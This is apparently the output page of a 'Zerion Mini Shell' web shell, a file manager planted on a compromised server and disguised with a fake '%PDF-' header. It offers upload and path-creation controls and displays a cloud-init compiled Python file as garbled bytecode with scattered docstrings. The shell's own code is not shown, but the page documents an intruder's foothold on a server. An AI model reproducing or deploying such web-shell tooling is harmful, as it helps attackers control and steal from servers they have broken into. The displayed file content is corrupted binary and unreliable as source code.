%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/cloudinit/reporting/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/cloudinit/reporting/__pycache__/__init__.cpython-312.pyc

�

���f(��f�dZddlmZddlmZddlmZmZdddiiZd�Z	d	�Z
e�Ze	e�y
)z�
cloud-init reporting framework

The reporting framework is intended to allow all parts of cloud-init to
report events in a structured manner.
�)�Type)�DictRegistry)�HandlerType�available_handlers�logging�type�logc�2�|j�D]�\}}|stj|d��� |j�}tj
|j
d�}tj|�|di|��}tj||���y)z�Update the instantiated_handler_registry.

    :param config:
        The dictionary containing changes to apply.  If a key is given
        with a False-ish value, the registered handler matching that name
        will be unregistered.
    T)�forcerN�)�items�instantiated_handler_registry�unregister_item�copyr�registered_items�pop�
register_item)�config�handler_name�handler_config�cls�instances     �>/usr/lib/python3/dist-packages/cloudinit/reporting/__init__.py�update_configurationrs���)/����L�$��n��)�9�9��D�
:�
�
�'�,�,�.��!3�!D�!D����v�&�"
��	&�5�5�l�C��(��(��%�3�3�L�(�K�L�c�j�tjj�D]}|j��y)N)rr�values�flush)�handlers r�flush_eventsr -s)��0�A�A�H�H�J����
�
��rN)�__doc__�typingr�cloudinit.registryr�cloudinit.reporting.handlersrr�DEFAULT_CONFIGrr rrrr�<module>r&sD��
��+�H�������
L�.�!-����^�$r

Zerion Mini Shell 1.0